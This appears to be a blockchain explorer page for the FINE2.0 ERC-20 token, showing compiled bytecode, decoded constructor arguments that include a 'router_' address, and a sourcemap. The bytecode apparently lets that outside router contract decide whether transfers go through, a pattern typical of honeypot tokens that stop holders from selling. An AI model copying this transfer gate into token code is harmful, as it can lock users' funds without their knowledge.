000000000000000000000000000815260040161075590611424565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c590611384565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108ac9190611464565b60405180910390a3505050565b60006108c584846105db565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461093f5781811015610931576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610928906113c4565b60405180910390fd5b61093e84848484036106ee565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac90611404565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90611344565b60405180910390fd5b610a30838383610d01565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aad906113a4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ba49190611464565b60405180910390a3610bb7848484610dd0565b50505050565b610bc56106e6565b73ffffffffffffffffffffffffffffffffffffffff16610be3610485565b73ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c30906113e4565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638a19688d856040518263ffffffff1660e01b8152600401610d5e91906112ec565b60206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190610f04565b905060008115610dc95780925060008311610dc857600080fd5b5b5050505050565b505050565b600081359050610de481611635565b92915050565b600081519050610df98161164c565b92915050565b600081359050610e0e81611663565b92915050565b600060208284031215610e2657600080fd5b6000610e3484828501610dd5565b91505092915050565b60008060408385031215610e5057600080fd5b6000610e5e85828601610dd5565b9250506020610e6f85828601610dd5565b9150509250929050565b600080600060608486031215610e8e57600080fd5b6000610e9c86828701610dd5565b9350506020610ead86828701610dd5565b9250506040610ebe86828701610dff565b9150509250925092565b60008060408385031215610edb57600080fd5b6000610ee985828601610dd5565b9250506020610efa85828601610dff565b9150509250929050565b600060208284031215610f1657600080fd5b6000610f2484828501610dea565b91505092915050565b610f368161150c565b82525050565b610f458161151e565b82525050565b6000610f568261149a565b610f6081856114a5565b9350610f70818560208601611561565b610f7981611624565b840191505092915050565b6000610f916023836114a5565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ff76026836114a5565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061105d6022836114a5565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110c3602a836114a5565b91507f45524332303a207472616e7366657220616d6d6f6475616e6f7420657863656560008301527f64732062616c616e6365000000000000000000000000000000000000000000006020830152604082019050919050565b6000611129601d836114a5565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111696020836114a5565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006111a96025836114a5565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061120f6024836114a5565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112756025836114a5565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6112d78161154a565b82525050565b6112e681611554565b82525050565b60006020820190506113016000830184610f2d565b92915050565b600060208201905061131c6000830184610f3c565b92915050565b6000602082019050818103600083015261133c8184610f4b565b905092915050565b6000602082019050818103600083015261135d81610f84565b9050919050565b6000602082019050818103600083015261137d81610fea565b9050919050565b6000602082019050818103600083015261139d81611050565b9050919050565b600060208201905081810360008301526113bd816110b6565b9050919050565b600060208201905081810360008301526113dd8161111c565b9050919050565b600060208201905081810360008301526113fd8161115c565b9050919050565b6000602082019050818103600083015261141d8161119c565b9050919050565b6000602082019050818103600083015261143d81611202565b9050919050565b6000602082019050818103600083015261145d81611268565b9050919050565b600060208201905061147960008301846112ce565b92915050565b600060208201905061149460008301846112dd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006114c18261154a565b91506114cc8361154a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611501576115006115c6565b5b828201905092915050565b60006115178261152a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561157f578082015181840152602081019050611564565b8381111561158e576000848401525b50505050565b600060028204905060018216806115ac57607f821691505b602082108114156115c0576115bf6115f5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61163e8161150c565b811461164957600080fd5b50565b6116558161151e565b811461166057600080fd5b50565b61166c8161154a565b811461167757600080fd5b5056fea2646970667358221220d606fc896c019b1cbf322148d39acb5857f6c7ec4c348ee82810223416f16ed064736f6c63430008000033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000005ba58fdb9a1e1bbb92881bc59a3715a72cb2f214000000000000000000000000000000000000000000000000000000000000000746494e45322e3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000746494e45322e3000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): FINE2.0
Arg [1] : symbol_ (string): FINE2.0
Arg [2] : router_ (address): 0x5ba58FdB9A1E1bBB92881bC59a3715A72CB2F214
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000005ba58fdb9a1e1bbb92881bc59a3715a72cb2f214
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 46494e45322e3000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [6] : 46494e45322e3000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
12861:288:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6228:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8031:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6816:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8248:307;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6658:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8565:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6987:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3837:103;;;:::i;:::-;;3532:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6447:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8911:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7330:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7594:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4098:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6228:100;6282:13;6315:5;6308:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6228:100;:::o;8031:209::-;8118:4;8135:13;8151:12;:10;:12::i;:::-;8135:28;;8174:36;8183:5;8190:7;8199:10;8174:8;:36::i;:::-;8228:4;8221:11;;;8031:209;;;;:::o;6816:108::-;6877:7;6904:12;;6897:19;;6816:108;:::o;8248:307::-;8383:4;8400:15;8418:12;:10;:12::i;:::-;8400:30;;8441:42;8457:4;8463:7;8472:10;8441:15;:42::i;:::-;8494:31;8504:4;8510:2;8514:10;8494:9;:31::i;:::-;8543:4;8536:11;;;8248:307;;;;;:::o;6658:93::-;6716:5;6741:2;6734:9;;6658:93;:::o;8565:238::-;8653:4;8670:13;8686:12;:10;:12::i;:::-;8670:28;;8709:64;8718:5;8725:7;8762:10;8734:25;8744:5;8751:7;8734:9;:25::i;:::-;:38;;;;:::i;:::-;8709:8;:64::i;:::-;8791:4;8784:11;;;8565:238;;;;:::o;6987:133::-;7064:7;7091:9;:21;7101:10;7091:21;;;;;;;;;;;;;;;;7084:28;;6987:133;;;:::o;3837:103::-;3418:13;:11;:13::i;:::-;3902:30:::1;3929:1;3902:18;:30::i;:::-;3837:103::o:0;3532:87::-;3578:7;3605:6;;;;;;;;;;;3598:13;;3532:87;:::o;6447:104::-;6503:13;6536:7;6529:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6447:104;:::o;8911:436::-;9004:4;9021:13;9037:12;:10;:12::i;:::-;9021:28;;9060:24;9087:25;9097:5;9104:7;9087:9;:25::i;:::-;9060:52;;9151:15;9131:16;:35;;9123:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;9244:60;9253:5;9260:7;9288:15;9269:16;:34;9244:8;:60::i;:::-;9335:4;9328:11;;;;8911:436;;;;:::o;7330:201::-;7413:4;7430:13;7446:12;:10;:12::i;:::-;7430:28;;7469:32;7479:5;7486:2;7490:10;7469:9;:32::i;:::-;7519:4;7512:11;;;7330:201;;;;:::o;7594:151::-;7683:7;7710:11;:18;7722:5;7710:18;;;;;;;;;;;;;;;:27;7729:7;7710:27;;;;;;;;;;;;;;;;7703:34;;7594:151;;;;:::o;4098:201::-;3418:13;:11;:13::i;:::-;4207:1:::1;4187:22;;:8;:22;;;;4179:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;4263:28;4282:8;4263:18;:28::i;:::-;4098:201:::0;:::o;713:98::-;766:7;793:10;786:17;;713:98;:::o;11323:392::-;11480:1;11463:19;;:5;:19;;;;11455:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11561:1;11542:21;;:7;:21;;;;11534:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11645:10;11615:11;:18;11627:5;11615:18;;;;;;;;;;;;;;;:27;11634:7;11615:27;;;;;;;;;;;;;;;:40;;;;11687:7;11671:36;;11680:5;11671:36;;;11696:10;11671:36;;;;;;:::i;:::-;;;;;;;;11323:392;;;:::o;11905:465::-;12044:24;12071:25;12081:5;12088:7;12071:9;:25::i;:::-;12044:52;;12131:17;12111:16;:37;12107:256;;12193:10;12173:16;:30;;12165:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;12281:55;12290:5;12297:7;12325:10;12306:16;:29;12281:8;:55::i;:::-;12107:256;11905:465;;;;:::o;9595:870::-;9746:1;9730:18;;:4;:18;;;;9722:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9823:1;9809:16;;:2;:16;;;;9801:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9876:42;9897:4;9903:2;9907:10;9876:20;:42::i;:::-;9931:19;9953:9;:15;9963:4;9953:15;;;;;;;;;;;;;;;;9931:37;;10002:10;9987:11;:25;;9979:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;10127:10;10113:11;:24;10095:9;:15;10105:4;10095:15;;;;;;;;;;;;;;;:42;;;;10334:10;10317:9;:13;10327:2;10317:13;;;;;;;;;;;;;;;;:27;;;;;;;;;;;10388:2;10373:30;;10382:4;10373:30;;;10392:10;10373:30;;;;;;:::i;:::-;;;;;;;;10416:41;10436:4;10442:2;10446:10;10416:19;:41::i;:::-;9595:870;;;;:::o;3697:132::-;3772:12;:10;:12::i;:::-;3761:23;;:7;:5;:7::i;:::-;:23;;;3753:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3697:132::o;4462:191::-;4536:16;4555:6;;;;;;;;;;;4536:25;;4581:8;4572:6;;:17;;;;;;;;;;;;;;;;;;4636:8;4605:40;;4626:8;4605:40;;;;;;;;;;;;4462:191;;:::o;12378:313::-;12516:9;12528:7;;;;;;;;;;;:20;;;12549:4;12528:26;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12516:38;;12565:13;12596:4;12593:91;;;12629:5;12616:18;;12670:1;12657:10;:14;12649:23;;;;;;12593:91;12378:313;;;;;:::o;12699:128::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;237:6;231:13;222:22;;253:30;277:5;253:30;:::i;:::-;212:77;;;;:::o;295:139::-;;379:6;366:20;357:29;;395:33;422:5;395:33;:::i;:::-;347:87;;;;:::o;440:262::-;;548:2;536:9;527:7;523:23;519:32;516:2;;;564:1;561;554:12;516:2;607:1;632:53;677:7;668:6;657:9;653:22;632:53;:::i;:::-;622:63;;578:117;506:196;;;;:::o;708:407::-;;;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:53;962:7;953:6;942:9;938:22;917:53;:::i;:::-;907:63;;863:117;1019:2;1045:53;1090:7;1081:6;1070:9;1066:22;1045:53;:::i;:::-;1035:63;;990:118;791:324;;;;;:::o;1121:552::-;;;;1263:2;1251:9;1242:7;1238:23;1234:32;1231:2;;;1279:1;1276;1269:12;1231:2;1322:1;1347:53;1392:7;1383:6;1372:9;1368:22;1347:53;:::i;:::-;1337:63;;1293:117;1449:2;1475:53;1520:7;1511:6;1500:9;1496:22;1475:53;:::i;:::-;1465:63;;1420:118;1577:2;1603:53;1648:7;1639:6;1628:9;1624:22;1603:53;:::i;:::-;1593:63;;1548:118;1221:452;;;;;:::o;1679:407::-;;;1804:2;1792:9;1783:7;1779:23;1775:32;1772:2;;;1820:1;1817;1810:12;1772:2;1863:1;1888:53;1933:7;1924:6;1913:9;1909:22;1888:53;:::i;:::-;1878:63;;1834:117;1990:2;2016:53;2061:7;2052:6;2041:9;2037:22;2016:53;:::i;:::-;2006:63;;1961:118;1762:324;;;;;:::o;2092:278::-;;2208:2;2196:9;2187:7;2183:23;2179:32;2176:2;;;2224:1;2221;2214:12;2176:2;2267:1;2292:61;2345:7;2336:6;2325:9;2321:22;2292:61;:::i;:::-;2282:71;;2238:125;2166:204;;;;:::o;2376:118::-;2463:24;2481:5;2463:24;:::i;:::-;2458:3;2451:37;2441:53;;:::o;2500:109::-;2581:21;2596:5;2581:21;:::i;:::-;2576:3;2569:34;2559:50;;:::o;2615:364::-;;2731:39;2764:5;2731:39;:::i;:::-;2786:71;2850:6;2845:3;2786:71;:::i;:::-;2779:78;;2866:52;2911:6;2906:3;2899:4;2892:5;2888:16;2866:52;:::i;:::-;2943:29;2965:6;2943:29;:::i;:::-;2938:3;2934:39;2927:46;;2707:272;;;;;:::o;2985:367::-;;3148:67;3212:2;3207:3;3148:67;:::i;:::-;3141:74;;3245:34;3241:1;3236:3;3232:11;3225:55;3311:5;3306:2;3301:3;3297:12;3290:27;3343:2;3338:3;3334:12;3327:19;;3131:221;;;:::o;3358:370::-;;3521:67;3585:2;3580:3;3521:67;:::i;:::-;3514:74;;3618:34;3614:1;3609:3;3605:11;3598:55;3684:8;3679:2;3674:3;3670:12;3663:30;3719:2;3714:3;3710:12;3703:19;;3504:224;;;:::o;3734:366::-;;3897:67;3961:2;3956:3;3897:67;:::i;:::-;3890:74;;3994:34;3990:1;3985:3;3981:11;3974:55;4060:4;4055:2;4050:3;4046:12;4039:26;4091:2;4086:3;4082:12;4075:19;;3880:220;;;:::o;4106:374::-;;4269:67;4333:2;4328:3;4269:67;:::i;:::-;4262:74;;4366:34;4362:1;4357:3;4353:11;4346:55;4432:12;4427:2;4422:3;4418:12;4411:34;4471:2;4466:3;4462:12;4455:19;;4252:228;;;:::o;4486:327::-;;4649:67;4713:2;4708:3;4649:67;:::i;:::-;4642:74;;4746:31;4742:1;4737:3;4733:11;4726:52;4804:2;4799:3;4795:12;4788:19;;4632:181;;;:::o;4819:330::-;;4982:67;5046:2;5041:3;4982:67;:::i;:::-;4975:74;;5079:34;5075:1;5070:3;5066:11;5059:55;5140:2;5135:3;5131:12;5124:19;;4965:184;;;:::o;5155:369::-;;5318:67;5382:2;5377:3;5318:67;:::i;:::-;5311:74;;5415:34;5411:1;5406:3;5402:11;5395:55;5481:7;5476:2;5471:3;5467:12;5460:29;5515:2;5510:3;5506:12;5499:19;;5301:223;;;:::o;5530:368::-;;5693:67;5757:2;5752:3;5693:67;:::i;:::-;5686:74;;5790:34;5786:1;5781:3;5777:11;5770:55;5856:6;5851:2;5846:3;5842:12;5835:28;5889:2;5884:3;5880:12;5873:19;;5676:222;;;:::o;5904:369::-;;6067:67;6131:2;6126:3;6067:67;:::i;:::-;6060:74;;6164:34;6160:1;6155:3;6151:11;6144:55;6230:7;6225:2;6220:3;6216:12;6209:29;6264:2;6259:3;6255:12;6248:19;;6050:223;;;:::o;6279:118::-;6366:24;6384:5;6366:24;:::i;:::-;6361:3;6354:37;6344:53;;:::o;6403:112::-;6486:22;6502:5;6486:22;:::i;:::-;6481:3;6474:35;6464:51;;:::o;6521:222::-;;6652:2;6641:9;6637:18;6629:26;;6665:71;6733:1;6722:9;6718:17;6709:6;6665:71;:::i;:::-;6619:124;;;;:::o;6749:210::-;;6874:2;6863:9;6859:18;6851:26;;6887:65;6949:1;6938:9;6934:17;6925:6;6887:65;:::i;:::-;6841:118;;;;:::o;6965:313::-;;7116:2;7105:9;7101:18;7093:26;;7165:9;7159:4;7155:20;7151:1;7140:9;7136:17;7129:47;7193:78;7266:4;7257:6;7193:78;:::i;:::-;7185:86;;7083:195;;;;:::o;7284:419::-;;7488:2;7477:9;7473:18;7465:26;;7537:9;7531:4;7527:20;7523:1;7512:9;7508:17;7501:47;7565:131;7691:4;7565:131;:::i;:::-;7557:139;;7455:248;;;:::o;7709:419::-;;7913:2;7902:9;7898:18;7890:26;;7962:9;7956:4;7952:20;7948:1;7937:9;7933:17;7926:47;7990:131;8116:4;7990:131;:::i;:::-;7982:139;;7880:248;;;:::o;8134:419::-;;8338:2;8327:9;8323:18;8315:26;;8387:9;8381:4;8377:20;8373:1;8362:9;8358:17;8351:47;8415:131;8541:4;8415:131;:::i;:::-;8407:139;;8305:248;;;:::o;8559:419::-;;8763:2;8752:9;8748:18;8740:26;;8812:9;8806:4;8802:20;8798:1;8787:9;8783:17;8776:47;8840:131;8966:4;8840:131;:::i;:::-;8832:139;;8730:248;;;:::o;8984:419::-;;9188:2;9177:9;9173:18;9165:26;;9237:9;9231:4;9227:20;9223:1;9212:9;9208:17;9201:47;9265:131;9391:4;9265:131;:::i;:::-;9257:139;;9155:248;;;:::o;9409:419::-;;9613:2;9602:9;9598:18;9590:26;;9662:9;9656:4;9652:20;9648:1;9637:9;9633:17;9626:47;9690:131;9816:4;9690:131;:::i;:::-;9682:139;;9580:248;;;:::o;9834:419::-;;10038:2;10027:9;10023:18;10015:26;;10087:9;10081:4;10077:20;10073:1;10062:9;10058:17;10051:47;10115:131;10241:4;10115:131;:::i;:::-;10107:139;;10005:248;;;:::o;10259:419::-;;10463:2;10452:9;10448:18;10440:26;;10512:9;10506:4;10502:20;10498:1;10487:9;10483:17;10476:47;10540:131;10666:4;10540:131;:::i;:::-;10532:139;;10430:248;;;:::o;10684:419::-;;10888:2;10877:9;10873:18;10865:26;;10937:9;10931:4;10927:20;10923:1;10912:9;10908:17;10901:47;10965:131;11091:4;10965:131;:::i;:::-;10957:139;;10855:248;;;:::o;11109:222::-;;11240:2;11229:9;11225:18;11217:26;;11253:71;11321:1;11310:9;11306:17;11297:6;11253:71;:::i;:::-;11207:124;;;;:::o;11337:214::-;;11464:2;11453:9;11449:18;11441:26;;11477:67;11541:1;11530:9;11526:17;11517:6;11477:67;:::i;:::-;11431:120;;;;:::o;11557:99::-;;11643:5;11637:12;11627:22;;11616:40;;;:::o;11662:169::-;;11780:6;11775:3;11768:19;11820:4;11815:3;11811:14;11796:29;;11758:73;;;;:::o;11837:305::-;;11896:20;11914:1;11896:20;:::i;:::-;11891:25;;11930:20;11948:1;11930:20;:::i;:::-;11925:25;;12084:1;12016:66;12012:74;12009:1;12006:81;12003:2;;;12090:18;;:::i;:::-;12003:2;12134:1;12131;12127:9;12120:16;;11881:261;;;;:::o;12148:96::-;;12214:24;12232:5;12214:24;:::i;:::-;12203:35;;12193:51;;;:::o;12250:90::-;;12327:5;12320:13;12313:21;12302:32;;12292:48;;;:::o;12346:126::-;;12423:42;12416:5;12412:54;12401:65;;12391:81;;;:::o;12478:77::-;;12544:5;12533:16;;12523:32;;;:::o;12561:86::-;;12636:4;12629:5;12625:16;12614:27;;12604:43;;;:::o;12653:307::-;12721:1;12731:113;12745:6;12742:1;12739:13;12731:113;;;12830:1;12825:3;12821:11;12815:18;12811:1;12806:3;12802:11;12795:39;12767:2;12764:1;12760:10;12755:15;;12731:113;;;12862:6;12859:1;12856:13;12853:2;;;12942:1;12933:6;12928:3;12924:16;12917:27;12853:2;12702:258;;;;:::o;12966:320::-;;13047:1;13041:4;13037:12;13027:22;;13094:1;13088:4;13084:12;13115:18;13105:2;;13171:4;13163:6;13159:17;13149:27;;13105:2;13233;13225:6;13222:14;13202:18;13199:38;13196:2;;;13252:18;;:::i;:::-;13196:2;13017:269;;;;:::o;13292:180::-;13340:77;13337:1;13330:88;13437:4;13434:1;13427:15;13461:4;13458:1;13451:15;13478:180;13526:77;13523:1;13516:88;13623:4;13620:1;13613:15;13647:4;13644:1;13637:15;13664:102;;13756:2;13752:7;13747:2;13740:5;13736:14;13732:28;13722:38;;13712:54;;;:::o;13772:122::-;13845:24;13863:5;13845:24;:::i;:::-;13838:5;13835:35;13825:2;;13884:1;13881;13874:12;13825:2;13815:79;:::o;13900:116::-;13970:21;13985:5;13970:21;:::i;:::-;13963:5;13960:32;13950:2;;14006:1;14003;13996:12;13950:2;13940:76;:::o;14022:122::-;14095:24;14113:5;14095:24;:::i;:::-;14088:5;14085:35;14075:2;;14134:1;14131;14124:12;14075:2;14065:79;:::o
Swarm Source
ipfs://d606fc896c019b1cbf322148d39acb5857f6c7ec4c348ee82810223416f16ed0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.